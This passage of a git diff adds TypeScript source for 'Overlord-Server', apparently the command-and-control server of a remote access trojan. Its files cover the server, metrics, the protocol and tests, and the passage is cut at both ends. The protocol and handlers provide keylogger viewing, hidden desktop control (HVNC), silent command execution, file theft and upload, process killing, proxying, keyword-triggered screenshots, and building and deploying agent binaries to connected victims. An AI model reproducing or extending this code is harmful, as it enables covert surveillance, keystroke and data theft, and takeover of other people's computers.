maxsize: 10485760, + maxFiles: 5, + }), + ); + + logger.add( + new winston.transports.File({ + filename: `${dataDir}/combined.log`, + maxsize: 10485760, + maxFiles: 5, + }), + ); +} + +if (rawLogLevel && !validLevels.has(rawLogLevel)) { + // eslint-disable-next-line no-console + console.warn(`Invalid LOG_LEVEL='${rawLogLevel}', defaulting to ${LOG_LEVEL}`); +} + +logger.info(`Logger initialized (level: ${LOG_LEVEL}, env: ${NODE_ENV})`); + +export default logger; diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts new file mode 100644 index 0000000..044d89b --- /dev/null +++ b/Overlord-Server/src/main-server.ts @@ -0,0 +1,414 @@ +import type { ServerWebSocket } from "bun"; +import { decodeMessage, encodeMessage, type WireMessage, type PluginManifest } from "./protocol"; +import { logger } from "./logger"; +import { fileURLToPath } from "url"; +import path from "path"; +import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, clearNotificationScreenshots, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists } from "./db"; +import { handleFrame, handleHello, handlePing, handlePong } from "./wsHandlers"; +import { getMessageByteLength, getMaxPayloadLimit, isAllowedClientMessageType } from "./wsValidation"; +import { ClientInfo, ClientRole } from "./types"; +import { v4 as uuidv4 } from "uuid"; +import { authenticateRequest } from "./auth"; +import { loadConfig, getConfig } from "./config"; +import { flushAuditLogsSync } from "./auditLog"; +import { getUserById } from "./users"; +import { requireAuth, requirePermission } from "./rbac"; +import { metrics } from "./metrics"; +import { ensureDataDir } from "./paths"; +import { handleAuthRoutes } from "./server/routes/auth-routes"; +import { handleAutoScriptsRoutes } from "./server/routes/auto-scripts-routes"; +import { handleBuildRoutes } from "./server/routes/build-routes"; +import { handleAssetsRoutes } from "./server/routes/assets-routes"; +import { handleDeployRoutes } from "./server/routes/deploy-routes"; +import { handleFileDownloadRoutes } from "./server/routes/file-download-routes"; +import { handleClientRoutes } from "./server/routes/client-routes"; +import { handleMiscRoutes } from "./server/routes/misc-routes"; +import { handleNotificationsConfigRoutes } from "./server/routes/notifications-config-routes"; +import { handlePageRoutes } from "./server/routes/page-routes"; +import { handlePluginRoutes } from "./server/routes/plugin-routes"; +import { handleUsersRoutes } from "./server/routes/users-routes"; +import { handleWebSocketClose, handleWebSocketMessage, handleWebSocketOpen } from "./server/routes/websocket-lifecycle-routes"; +import { handleWsUpgradeRoutes } from "./server/routes/ws-upgrade-routes"; +import { isAuthorizedAgentRequest } from "./server/agent-auth"; +import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils"; +import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils"; +import { CORS_HEADERS } from "./server/http-security"; +import { mimeType, secureHeaders, securePluginHeaders } from "./server/http-utils"; +import { sanitizePluginId } from "./server/plugin-utils"; +import { dispatchAutoScriptsForConnection } from "./server/auto-script-dispatch"; +import { consumeHttpDownloadPayload, type PendingHttpDownload } from "./server/http-download-consumer"; +import { startBuildProcess as runBuildProcess } from "./server/build-process"; +import { createHttpFetchHandler } from "./server/http-dispatch"; +import { startMaintenanceLoops } from "./server/maintenance-loops"; +import { + deliverNotificationWithScreenshot, + storeNotificationScreenshot, + takePendingNotificationScreenshot, + type NotificationRecord, + type PendingNotificationScreenshot, +} from "./server/notification-delivery"; +import { + ensurePluginExtracted as ensurePluginExtractedFromRoot, + listPluginManifests as listPluginManifestsFromRoot, + loadPluginBundle as loadPluginBundleFromRoot, + loadPluginStateFromDisk, + savePluginStateToDisk, + sendPluginBundle, +} from "./server/plugin-state-bundle"; +import { + DISCONNECT_TIMEOUT_MS, + HEARTBEAT_INTERVAL_MS, + MAX_WS_MESSAGE_BYTES_CLIENT, + MAX_WS_MESSAGE_BYTES_VIEWER, + PRUNE_BATCH, + STALE_MS, +} from "./server/runtime-constants"; +import { ALLOWED_PLATFORMS } from "./server/validation-constants"; +import { prepareTlsOptions, logServerStartup } from "./server/tls-bootstrap"; +import { createWebSocketRuntime } from "./server/websocket-runtime"; +import { + handleConsoleOutput, + handleConsoleViewerMessage, + handleConsoleViewerOpen, + handleHVNCViewerMessage, + handleHVNCViewerOpen, + handleRemoteDesktopViewerMessage, + handleRemoteDesktopViewerOpen, + hvncStreamingState, + notifyConsoleClosed, + notifyRdInputLatency, + notifyRemoteDesktopStatus, + rdStreamingState, + sendDesktopCommand, + sendHVNCCommand, + stopConsoleOnTarget, +} from "./server/ws-console-rd-hvnc"; +import { + handleFileBrowserMessage as forwardFileBrowserMessage, + handleFileBrowserViewerMessage, + handleFileBrowserViewerOpen, + handleKeyloggerMessage, + handleKeyloggerViewerMessage, + handleKeyloggerViewerOpen, + handleProcessMessage, + handleProcessViewerMessage, + handleProcessViewerOpen, + handleProxyMessage, + handleProxyViewerMessage, + handleProxyViewerOpen, +} from "./server/ws-file-process-proxy-keylogger"; +import { createNotificationPluginHandlers } from "./server/ws-notifications-plugin"; +import * as clientManager from "./clientManager"; +import * as sessionManager from "./sessions/sessionManager"; +import type { SocketData } from "./sessions/types"; +import { SERVER_VERSION } from "./version"; + + +const config = loadConfig(); +const isAuthorizedAgent = (req: Request, url: URL) => + isAuthorizedAgentRequest(req, url, config.auth.agentToken); + +const PORT = config.server.port; +const HOST = config.server.host; +const RUNTIME_ROOT = process.env.OVERLORD_ROOT?.trim() + ? path.resolve(process.env.OVERLORD_ROOT) + : fileURLToPath(new URL("..", import.meta.url)); +const PUBLIC_ROOT = process.env.OVERLORD_PUBLIC_ROOT?.trim() + ? path.resolve(process.env.OVERLORD_PUBLIC_ROOT) + : path.join(RUNTIME_ROOT, "public"); +const PLUGIN_ROOT = process.env.OVERLORD_PLUGIN_ROOT?.trim() + ? path.resolve(process.env.OVERLORD_PLUGIN_ROOT) + : path.join(RUNTIME_ROOT, "plugins"); +const PLUGIN_STATE_PATH = path.join(PLUGIN_ROOT, ".plugin-state.json"); +const DATA_DIR = ensureDataDir(); +const DEPLOY_ROOT = path.join(DATA_DIR, "deploy"); + +const TLS_CERT_PATH = config.tls.certPath; +const TLS_KEY_PATH = config.tls.keyPath; +const TLS_CA_PATH = config.tls.caPath; + +const pluginLoadedByClient = new Map>(); +const pendingPluginEvents = new Map>(); +const pluginLoadingByClient = new Map>(); +let pluginState = { enabled: {} as Record, lastError: {} as Record }; + +const savePluginState = () => savePluginStateToDisk(PLUGIN_ROOT, PLUGIN_STATE_PATH, pluginState); +const loadPluginState = async () => { + pluginState = await loadPluginStateFromDisk(PLUGIN_STATE_PATH); +}; +const ensurePluginExtracted = (pluginId: string) => + ensurePluginExtractedFromRoot(PLUGIN_ROOT, pluginId, sanitizePluginId); +const listPluginManifests = () => + listPluginManifestsFromRoot(PLUGIN_ROOT, pluginState, savePluginState, ensurePluginExtracted); +const loadPluginBundle = (pluginId: string) => + loadPluginBundleFromRoot(PLUGIN_ROOT, pluginId, ensurePluginExtracted); +const startBuildProcess = (buildId: string, buildConfig: any) => + runBuildProcess(buildId, buildConfig, { + generateBuildMutex, + sanitizeOutputName, + }); + +const pendingHttpDownloads = new Map(); + +type DownloadIntent = { + id: string; + userId: string; + clientId: string; + path: string; + expiresAt: number; + timeout: ReturnType; +}; + +const downloadIntents = new Map(); + +type DeployUpload = { + id: string; + path: string; + name: string; + size: number; + os: DeployOs; +}; + +const deployUploads = new Map(); + +type NotificationRateState = { + lastSent: number; + windowStart: number; + suppressed: number; + lastWarned: number; +}; + +const notificationHistory: NotificationRecord[] = []; +const notificationRate = new Map(); +const getNotificationConfig = () => getConfig().notifications; + +const pendingNotificationScreenshots = new Map(); +const takePendingNotificationScreenshotForClient = (clientId: string) => + takePendingNotificationScreenshot(pendingNotificationScreenshots, clientId); +const storeNotificationScreenshotForPending = ( + pending: PendingNotificationScreenshot, + bytes: Uint8Array, + format: string, + width?: number, + height?: number, +) => storeNotificationScreenshot(notificationHistory, pending, bytes, format, width, height); +const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => + deliverNotificationWithScreenshot(record, getNotificationConfig); + +const notificationPluginHandlers = createNotificationPluginHandlers({ + notificationHistory, + notificationRate, + pendingNotificationScreenshots, + pluginLoadedByClient, + pluginLoadingByClient, + pendingPluginEvents, + pluginState, + getNotificationConfig, + storeNotificationScreenshot: storeNotificationScreenshotForPending, + deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord, + savePluginState, +}); + +type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer"; + +type PendingScript = { + resolve: (result: any) => void; + reject: (error: any) => void; + timeout: NodeJS.Timeout; +}; +const pendingScripts = new Map(); + +async function startServer() { + await loadPluginState(); + const tlsOptions = await prepareTlsOptions({ + certPath: TLS_CERT_PATH, + keyPath: TLS_KEY_PATH, + caPath: TLS_CA_PATH, + }); + + const routeDeps = { + notificationsConfig: { + getNotificationScreenshot, + secureHeaders, + }, + build: { + startBuildProcess, + sanitizeMutex, + allowedPlatforms: ALLOWED_PLATFORMS, + }, + deploy: { + DEPLOY_ROOT, + deployUploads, + detectUploadOs, + normalizeClientOs, + }, + fileDownload: { + DATA_DIR, + secureHeaders, + sanitizeOutputName, + pendingHttpDownloads, + downloadIntents, + }, + plugin: { + PLUGIN_ROOT, + pluginState, + pluginLoadedByClient, + pluginLoadingByClient, + pendingPluginEvents, + sanitizePluginId, + ensurePluginExtracted, + savePluginState, + listPluginManifests, + loadPluginBundle, + sendPluginBundle, + markPluginLoading: notificationPluginHandlers.markPluginLoading, + isPluginLoaded: notificationPluginHandlers.isPluginLoaded, + isPluginLoading: notificationPluginHandlers.isPluginLoading, + enqueuePluginEvent: notificationPluginHandlers.enqueuePluginEvent, + secureHeaders, + securePluginHeaders, + mimeType, + }, + misc: { + CORS_HEADERS, + SERVER_VERSION, + getConsoleSessionCount: sessionManager.getConsoleSessionCount, + getRdSessionCount: sessionManager.getRdSessionCount, + getFileBrowserSessionCount: sessionManager.getFileBrowserSessionCount, + getProcessSessionCount: sessionManager.getProcessSessionCount, + }, + assets: { + PUBLIC_ROOT, + secureHeaders, + mimeType, + }, + page: { + PUBLIC_ROOT, + secureHeaders, + mimeType, + }, + client: { + CORS_HEADERS, + pendingScripts, + }, + wsUpgrade: { + isAuthorizedAgentRequest: isAuthorizedAgent, + }, + }; + + const lifecycleDeps = { + maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT, + maxViewerPayloadBytes: MAX_WS_MESSAGE_BYTES_VIEWER, + pendingScripts, + rdStreamingState, + hvncStreamingState, + getNotificationConfig, + handleConsoleViewerOpen, + handleRemoteDesktopViewerOpen, + handleHVNCViewerOpen, + handleFileBrowserViewerOpen, + handleProcessViewerOpen, + handleKeyloggerViewerOpen, + handleProxyViewerOpen, + handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen, + handleConsoleViewerMessage, + handleRemoteDesktopViewerMessage, + handleHVNCViewerMessage, + handleFileBrowserViewerMessage, + handleProcessViewerMessage, + handleKeyloggerViewerMessage, + handleProxyViewerMessage, + dispatchAutoScriptsForConnection, + takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient, + storeNotificationScreenshot: storeNotificationScreenshotForPending, + handleNotificationScreenshotResult: notificationPluginHandlers.handleNotificationScreenshotResult, + handleConsoleOutput, + handleFileBrowserMessage: (clientId: string, payload: any) => + forwardFileBrowserMessage(clientId, payload, { + pendingHttpDownloads, + consumeHttpDownloadPayload: (downloadPayload: any) => + consumeHttpDownloadPayload(downloadPayload, pendingHttpDownloads), + }), + handleProxyMessage, + handleProcessMessage, + handleKeyloggerMessage, + notifyRdInputLatency, + handleNotificationScreenshotFailure: notificationPluginHandlers.handleNotificationScreenshotFailure, + handlePluginEvent: notificationPluginHandlers.handlePluginEvent, + handleNotification: notificationPluginHandlers.handleNotification, + stopConsoleOnTarget, + sendDesktopCommand, + sendHVNCCommand, + notifyConsoleClosed, + clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots, + notifyRemoteDesktopStatus, + }; + + const server = Bun.serve({ + port: PORT, + hostname: HOST, + tls: tlsOptions, + idleTimeout: 255, + fetch: createHttpFetchHandler({ + metrics, + CORS_HEADERS, + handleAuthRoutes, + handleNotificationsConfigRoutes, + handleAutoScriptsRoutes, + handleUsersRoutes, + handleBuildRoutes, + handleDeployRoutes, + handleFileDownloadRoutes, + handlePluginRoutes, + handleMiscRoutes, + handleAssetsRoutes, + handlePageRoutes, + handleClientRoutes, + handleWsUpgradeRoutes, + routeDeps, + }), + websocket: createWebSocketRuntime({ + maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT, + maxViewerPayloadBytes: MAX_WS_MESSAGE_BYTES_VIEWER, + lifecycleDeps, + handleWebSocketOpen, + handleWebSocketMessage, + handleWebSocketClose, + }), + }); + + + markAllClientsOffline(); + clearNotificationScreenshots(); + + + deleteExpiredBuilds(); + logger.info(`[db] Cleaned up expired builds`); + + startMaintenanceLoops({ + getClients: clientManager.getAllClients, + setOnlineState, + deleteClient: clientManager.deleteClient, + staleMs: STALE_MS, + pruneBatch: PRUNE_BATCH, + heartbeatIntervalMs: HEARTBEAT_INTERVAL_MS, + disconnectTimeoutMs: DISCONNECT_TIMEOUT_MS, + }); + + logServerStartup(server, TLS_CERT_PATH); +} + +startServer(); + + +process.on("SIGINT", () => { + logger.info("\n[server] Shutting down gracefully..."); + flushAuditLogsSync(); + process.exit(0); +}); + +process.on("SIGTERM", () => { + logger.info("\n[server] Shutting down gracefully..."); + flushAuditLogsSync(); + process.exit(0); +}); diff --git a/Overlord-Server/src/metrics.ts b/Overlord-Server/src/metrics.ts new file mode 100644 index 0000000..19df2f2 --- /dev/null +++ b/Overlord-Server/src/metrics.ts @@ -0,0 +1,400 @@ +import os from "node:os"; + +export interface MetricsSnapshot { + timestamp: number; + clients: { + total: number; + online: number; + offline: number; + byOS: Record; + byCountry: Record; + }; + connections: { + totalConnections: number; + totalDisconnections: number; + activeConnections: number; + }; + commands: { + total: number; + lastMinute: number; + lastHour: number; + byType: Record; + }; + sessions: { + console: number; + remoteDesktop: number; + fileBrowser: number; + process: number; + }; + bandwidth: { + sent: number; + received: number; + sentPerSecond: number; + receivedPerSecond: number; + }; + server: { + uptime: number; + startTime: number; + memoryUsage: NodeJS.MemoryUsage; + systemMemory: { + total: number; + free: number; + used: number; + usedPercent: number; + }; + cpu: { + cores: number; + loadAvg: [number, number, number]; + }; + }; + ping: { + min: number | null; + max: number | null; + avg: number | null; + count: number; + }; + http: { + total: number; + lastMinute: number; + lastMinuteErrors: number; + latencyAvg: number; + latencyP95: number; + }; + eventLoop: { + avg: number; + max: number; + p95: number; + }; +} + +export interface MetricsHistory { + timestamp: number; + clientsOnline: number; + commandsPerMinute: number; + bandwidthSent: number; + bandwidthReceived: number; +} + +class MetricsCollector { + private startTime: number = Date.now(); + + private totalConnections: number = 0; + private totalDisconnections: number = 0; + + private commandCount: number = 0; + private commandTypeCount: Map = new Map(); + private commandTimestamps: number[] = []; + + private bytesSent: number = 0; + private bytesReceived: number = 0; + private lastBandwidthCheck: number = Date.now(); + private lastBytesSent: number = 0; + private lastBytesReceived: number = 0; + private sentPerSecond: number = 0; + private receivedPerSecond: number = 0; + + private history: MetricsHistory[] = []; + private maxHistoryPoints: number = 60; + + private pingValues: number[] = []; + private maxPingHistory: number = 1000; + + private httpTotal: number = 0; + private httpTimestamps: number[] = []; + private httpErrorTimestamps: number[] = []; + private httpLatencies: number[] = []; + private maxHttpLatencyHistory: number = 1000; + + private eventLoopDelays: number[] = []; + private maxEventLoopHistory: number = 300; + + constructor() { + setInterval(() => this.updateBandwidthRates(), 1000); + + setInterval(() => this.recordHistory(), 5000); + + this.trackEventLoopDelay(); + } + + recordConnection() { + this.totalConnections++; + } + + recordDisconnection() { + this.totalDisconnections++; + } + + recordCommand(type: string) { + this.commandCount++; + this.commandTimestamps.push(Date.now()); + + const count = this.commandTypeCount.get(type) || 0; + this.commandTypeCount.set(type, count + 1); + + const oneHourAgo = Date.now() - 3600000; + this.commandTimestamps = this.commandTimestamps.filter( + (ts) => ts > oneHourAgo, + ); + } + + recordBytesSent(bytes: number) { + this.bytesSent += bytes; + } + + recordBytesReceived(bytes: number) { + this.bytesReceived += bytes; + } + + private updateBandwidthRates() { + const now = Date.now(); + const elapsed = (now - this.lastBandwidthCheck) / 1000; + + if (elapsed > 0) { + this.sentPerSecond = (this.bytesSent - this.lastBytesSent) / elapsed; + this.receivedPerSecond = + (this.bytesReceived - this.lastBytesReceived) / elapsed; + + this.lastBytesSent = this.bytesSent; + this.lastBytesReceived = this.bytesReceived; + this.lastBandwidthCheck = now; + } + } + + recordPing(pingMs: number) { + this.pingValues.push(pingMs); + + if (this.pingValues.length > this.maxPingHistory) { + this.pingValues.shift(); + } + } + + private getPingStats() { + if (this.pingValues.length === 0) { + return { min: null, max: null, avg: null, count: 0 }; + } + + const min = Math.min(...this.pingValues); + const max = Math.max(...this.pingValues); + const sum = this.pingValues.reduce((a, b) => a + b, 0); + const avg = sum / this.pingValues.length; + + return { min, max, avg, count: this.pingValues.length }; + } + + private recordHistory() {} + + private trackEventLoopDelay() { + const intervalMs = 1000; + let last = Date.now(); + setInterval(() => { + const now = Date.now(); + const delay = Math.max(0, now - last - intervalMs); + this.eventLoopDelays.push(delay); + if (this.eventLoopDelays.length > this.maxEventLoopHistory) { + this.eventLoopDelays.shift(); + } + last = now; + }, intervalMs); + } + + recordHttpRequest(durationMs: number, statusCode: number) { + this.httpTotal++; + const now = Date.now(); + this.httpTimestamps.push(now); + if (statusCode >= 400) { + this.httpErrorTimestamps.push(now); + } + if (Number.isFinite(durationMs)) { + this.httpLatencies.push(durationMs); + if (this.httpLatencies.length > this.maxHttpLatencyHistory) { + this.httpLatencies.shift(); + } + } + } + + async withHttpMetrics(handler: () => Promise): Promise { + const start = typeof performance !== "undefined" && performance.now + ? performance.now() + : Date.now(); + try { + const response = await handler(); + const end = typeof performance !== "undefined" && performance.now + ? performance.now() + : Date.now(); + this.recordHttpRequest(end - start, response?.status ?? 0); + return response; + } catch (err) { + const end = typeof performance !== "undefined" && performance.now + ? performance.now() + : Date.now(); + this.recordHttpRequest(end - start, 500); + throw err; + } + } + + recordHistoryEntry(snapshot: MetricsSnapshot) { + const historyEntry: MetricsHistory = { + timestamp: snapshot.timestamp, + clientsOnline: snapshot.clients.online, + commandsPerMinute: snapshot.commands.lastMinute, + bandwidthSent: this.sentPerSecond, + bandwidthReceived: this.receivedPerSecond, + }; + + this.history.push(historyEntry); + + if (this.history.length > this.maxHistoryPoints) { + this.history.shift(); + } + } + + getSnapshot(): MetricsSnapshot { + const now = Date.now(); + const oneMinuteAgo = now - 60000; + const oneHourAgo = now - 3600000; + + const commandsLastMinute = this.commandTimestamps.filter( + (ts) => ts > oneMinuteAgo, + ).length; + const commandsLastHour = this.commandTimestamps.filter( + (ts) => ts > oneHourAgo, + ).length; + + const commandsByType: Record = {}; + for (const [type, count] of this.commandTypeCount.entries()) { + commandsByType[type] = count; + } + + const oneMinuteAgoForHttp = now - 60000; + const httpLastMinute = this.httpTimestamps.filter( + (ts) => ts > oneMinuteAgoForHttp, + ).length; + const httpErrorsLastMinute = this.httpErrorTimestamps.filter( + (ts) => ts > oneMinuteAgoForHttp, + ).length; + + const httpLatencySamples = [...this.httpLatencies].sort((a, b) => a - b); + const httpLatencyAvg = httpLatencySamples.length + ? httpLatencySamples.reduce((a, b) => a + b, 0) / httpLatencySamples.length + : 0; + const httpP95Index = httpLatencySamples.length + ? Math.max(0, Math.floor(httpLatencySamples.length * 0.95) - 1) + : 0; + const httpLatencyP95 = httpLatencySamples.length + ? httpLatencySamples[httpP95Index] ?? 0 + : 0; + + const eventLoopSamples = [...this.eventLoopDelays].sort((a, b) => a - b); + const eventLoopAvg = eventLoopSamples.length + ? eventLoopSamples.reduce((a, b) => a + b, 0) / eventLoopSamples.length + : 0; + const eventLoopMax = eventLoopSamples.length + ? eventLoopSamples[eventLoopSamples.length - 1] + : 0; + const eventLoopP95Index = eventLoopSamples.length + ? Math.max(0, Math.floor(eventLoopSamples.length * 0.95) - 1) + : 0; + const eventLoopP95 = eventLoopSamples.length + ? eventLoopSamples[eventLoopP95Index] ?? 0 + : 0; + + const memoryUsage = process.memoryUsage(); + const totalMem = os.totalmem(); + const freeMem = os.freemem(); + const usedMem = Math.max(0, totalMem - freeMem); + const usedPercent = totalMem > 0 ? (usedMem / totalMem) * 100 : 0; + const loadAvg = os.loadavg(); + const loadTuple: [number, number, number] = [ + loadAvg[0] ?? 0, + loadAvg[1] ?? 0, + loadAvg[2] ?? 0, + ]; + + return { + timestamp: now, + clients: { + total: 0, + online: 0, + offline: 0, + byOS: {}, + byCountry: {}, + }, + connections: { + totalConnections: this.totalConnections, + totalDisconnections: this.totalDisconnections, + activeConnections: this.totalConnections - this.totalDisconnections, + }, + commands: { + total: this.commandCount, + lastMinute: commandsLastMinute, + lastHour: commandsLastHour, + byType: commandsByType, + }, + sessions: { + console: 0, + remoteDesktop: 0, + fileBrowser: 0, + process: 0, + }, + bandwidth: { + sent: this.bytesSent, + received: this.bytesReceived, + sentPerSecond: this.sentPerSecond, + receivedPerSecond: this.receivedPerSecond, + }, + server: { + uptime: now - this.startTime, + startTime: this.startTime, + memoryUsage, + systemMemory: { + total: totalMem, + free: freeMem, + used: usedMem, + usedPercent, + }, + cpu: { + cores: os.cpus().length || 0, + loadAvg: loadTuple, + }, + }, + ping: this.getPingStats(), + http: { + total: this.httpTotal, + lastMinute: httpLastMinute, + lastMinuteErrors: httpErrorsLastMinute, + latencyAvg: httpLatencyAvg, + latencyP95: httpLatencyP95, + }, + eventLoop: { + avg: eventLoopAvg, + max: eventLoopMax, + p95: eventLoopP95, + }, + }; + } + + getHistory(): MetricsHistory[] { + return [...this.history]; + } + + reset() { + this.commandCount = 0; + this.commandTypeCount.clear(); + this.commandTimestamps = []; + this.bytesSent = 0; + this.bytesReceived = 0; + this.lastBytesSent = 0; + this.lastBytesReceived = 0; + this.sentPerSecond = 0; + this.receivedPerSecond = 0; + this.pingValues = []; + this.history = []; + this.httpTotal = 0; + this.httpTimestamps = []; + this.httpErrorTimestamps = []; + this.httpLatencies = []; + this.eventLoopDelays = []; + } +} + +export const metrics = new MetricsCollector(); diff --git a/Overlord-Server/src/paths.ts b/Overlord-Server/src/paths.ts new file mode 100644 index 0000000..09fa1f0 --- /dev/null +++ b/Overlord-Server/src/paths.ts @@ -0,0 +1,23 @@ +import path from "path"; +import { existsSync, mkdirSync } from "fs"; + +export function resolveDataDir(): string { + const envDir = process.env.DATA_DIR; + if (envDir && envDir.trim()) { + return envDir; + } + + if (process.platform === "win32" && process.env.APPDATA) { + return path.join(process.env.APPDATA, "Overlord"); + } + + return "./data"; +} + +export function ensureDataDir(): string { + const dir = resolveDataDir(); + if (!existsSync(dir)) { + mkdirSync(dir, { recursive: true }); + } + return dir; +} \ No newline at end of file diff --git a/Overlord-Server/src/protocol.test.ts b/Overlord-Server/src/protocol.test.ts new file mode 100644 index 0000000..c274999 --- /dev/null +++ b/Overlord-Server/src/protocol.test.ts @@ -0,0 +1,40 @@ +import { describe, expect, test } from "bun:test"; +import { + decodeMessage, + encodeMessage, + type Hello, + type Ping, +} from "./protocol"; + +const sampleHello: Hello = { + type: "hello", + id: "client-123", + host: "host1", + os: "windows", + arch: "amd64", + version: "v1", + user: "user1", + monitors: 1, + country: "US", +}; + +describe("protocol encode/decode", () => { + test("round trips hello via msgpack", () => { + const encoded = encodeMessage(sampleHello); + const decoded = decodeMessage(encoded) as Hello; + + expect(decoded.type).toBe("hello"); + expect(decoded.id).toBe(sampleHello.id); + expect(decoded.os).toBe(sampleHello.os); + expect(decoded.arch).toBe(sampleHello.arch); + expect(decoded.country).toBe(sampleHello.country); + }); + + test("decodes JSON strings for compatibility", () => { + const pingJson = JSON.stringify({ type: "ping", ts: 123 } satisfies Ping); + const decoded = decodeMessage(pingJson) as Ping; + + expect(decoded.type).toBe("ping"); + expect(decoded.ts).toBe(123); + }); +}); diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts new file mode 100644 index 0000000..4e5bd84 --- /dev/null +++ b/Overlord-Server/src/protocol.ts @@ -0,0 +1,285 @@ +import { encode, decode } from "@msgpack/msgpack"; + +export type MessageKind = + | "hello" + | "hello_ack" + | "ping" + | "pong" + | "command" + | "command_result" + | "screenshot_result" + | "frame" + | "status" + | "plugin_event" + | "notification" + | "notification_config"; + +export type Hello = { + type: "hello"; + id: string; + host: string; + os: string; + arch: string; + version: string; + user: string; + monitors: number; + monitorInfo?: { width: number; height: number }[]; + country?: string; +}; + +export type HelloAck = { + type: "hello_ack"; + id: string; + commands?: Command[]; + notification?: { + keywords: string[]; + minIntervalMs?: number; + }; +}; +export type Ping = { type: "ping"; ts?: number }; +export type Pong = { type: "pong"; ts?: number }; + +export type CommandType = + | "input" + | "remote_start" + | "remote_stop" + | "disconnect" + | "reconnect" + | "screenshot" + | "ping" + | "console_start" + | "console_input" + | "console_stop" + | "console_resize" + | "file_list" + | "file_download" + | "file_upload" + | "file_delete" + | "file_mkdir" + | "file_zip" + | "file_read" + | "file_write" + | "file_search" + | "file_copy" + | "file_move" + | "file_chmod" + | "file_execute" + | "silent_exec" + | "process_list" + | "process_kill" + | "plugin_load" + | "plugin_load_init" + | "plugin_load_chunk" + | "plugin_load_finish" + | "plugin_unload"; + +export type Command = { + type: "command"; + commandType: CommandType; + payload?: unknown; + id?: string; +}; + +export type CommandResult = { + type: "command_result"; + commandId?: string; + ok: boolean; + message?: string; +}; + +export type ScreenshotResult = { + type: "screenshot_result"; + commandId?: string; + format: "jpeg" | "webp" | "png" | string; + width?: number; + height?: number; + data: Uint8Array; + error?: string; +}; + +export type FrameHeader = { + monitor: number; + fps: number; + format: "jpeg" | "webp" | "raw"; + hash?: string; + hvnc?: boolean; +}; + +export type Frame = { type: "frame"; header: FrameHeader; data: Uint8Array }; +export type Status = { + type: "status"; + state: "idle" | "streaming" | "error"; + detail?: string; +}; +export type ConsoleOutput = { + type: "console_output"; + sessionId: string; + data?: Uint8Array; + exitCode?: number; + error?: string; +}; + +export type FileEntry = { + name: string; + path: string; + isDir: boolean; + size: number; + modTime: number; + mode?: string; + owner?: string; + group?: string; +}; + +export type FileListResult = { + type: "file_list_result"; + commandId?: string; + path: string; + entries: FileEntry[]; + error?: string; +}; + +export type FileDownload = { + type: "file_download"; + commandId?: string; + path: string; + data: Uint8Array; + offset: number; + total: number; + chunkIndex?: number; + chunksTotal?: number; + error?: string; +}; + +export type FileUploadResult = { + type: "file_upload_result"; + commandId?: string; + transferId?: string; + path: string; + ok: boolean; + offset?: number; + size?: number; + received?: number; + total?: number; + error?: string; +}; + +export type ProcessInfo = { + pid: number; + ppid: number; + name: string; + cpu: number; + memory: number; + username?: string; + type?: string; +}; + +export type ProcessListResult = { + type: "process_list_result"; + commandId?: string; + processes: ProcessInfo[]; + error?: string; +}; + +export type FileReadResult = { + type: "file_read_result"; + commandId?: string; + path: string; + content: string; + isBinary: boolean; + error?: string; +}; + +export type FileSearchResult = { + type: "file_search_result"; + commandId?: string; + searchId: string; + results: Array<{ + path: string; + line?: number; + match?: string; + }>; + complete: boolean; + error?: string; +}; + +export type ScriptResult = { + type: "script_result"; + commandId?: string; + ok: boolean; + output?: string; + error?: string; +}; + +export type PluginManifest = { + id: string; + name: string; + version?: string; + description?: string; + binary?: string; + entry?: string; + assets?: { + html?: string; + css?: string; + js?: string; + }; +}; + +export type PluginEvent = { + type: "plugin_event"; + pluginId: string; + event: string; + payload?: unknown; + error?: string; +}; + +export type NotificationEvent = { + type: "notification"; + category: "active_window"; + title: string; + process?: string; + processPath?: string; + pid?: number; + keyword?: string; + ts?: number; +}; + +export type NotificationConfig = { + type: "notification_config"; + keywords: string[]; + minIntervalMs?: number; +}; + +export type WireMessage = + | Hello + | HelloAck + | Ping + | Pong + | Command + | CommandResult + | ScreenshotResult + | Frame + | Status + | ConsoleOutput + | FileListResult + | FileDownload + | FileUploadResult + | ProcessListResult + | FileReadResult + | FileSearchResult + | ScriptResult + | PluginEvent + | NotificationEvent + | NotificationConfig; + +export function encodeMessage(msg: WireMessage): Uint8Array { + return encode(msg); +} + +export function decodeMessage( + input: Uint8Array | ArrayBuffer | string, +): WireMessage { + if (typeof input === "string") { + return JSON.parse(input) as WireMessage; + } + return decode(input) as WireMessage; +} diff --git a/Overlord-Server/src/rateLimit.test.ts b/Overlord-Server/src/rateLimit.test.ts new file mode 100644 index 0000000..8f7f516 --- /dev/null +++ b/Overlord-Server/src/rateLimit.test.ts @@ -0,0 +1,26 @@ +import { describe, expect, test } from "bun:test"; +import { isRateLimited, recordFailedAttempt, recordSuccessfulAttempt } from "./rateLimit"; + +describe("rateLimit", () => { + test("locks out after repeated failures", () => { + const ip = `10.0.0.${Date.now()}`; + for (let i = 0; i < 5; i += 1) { + recordFailedAttempt(ip); + } + + const result = isRateLimited(ip); + expect(result.limited).toBe(true); + expect(result.retryAfter).toBeGreaterThan(0); + }); + + test("successful attempt clears lock state", () => { + const ip = `10.0.1.${Date.now()}`; + for (let i = 0; i < 5; i += 1) { + recordFailedAttempt(ip); + } + expect(isRateLimited(ip).limited).toBe(true); + + recordSuccessfulAttempt(ip); + expect(isRateLimited(ip).limited).toBe(false); + }); +}); diff --git a/Overlord-Server/src/rateLimit.ts b/Overlord-Server/src/rateLimit.ts new file mode 100644 index 0000000..ab2434b --- /dev/null +++ b/Overlord-Server/src/rateLimit.ts @@ -0,0 +1,119 @@ +import { logger } from "./logger"; + +interface 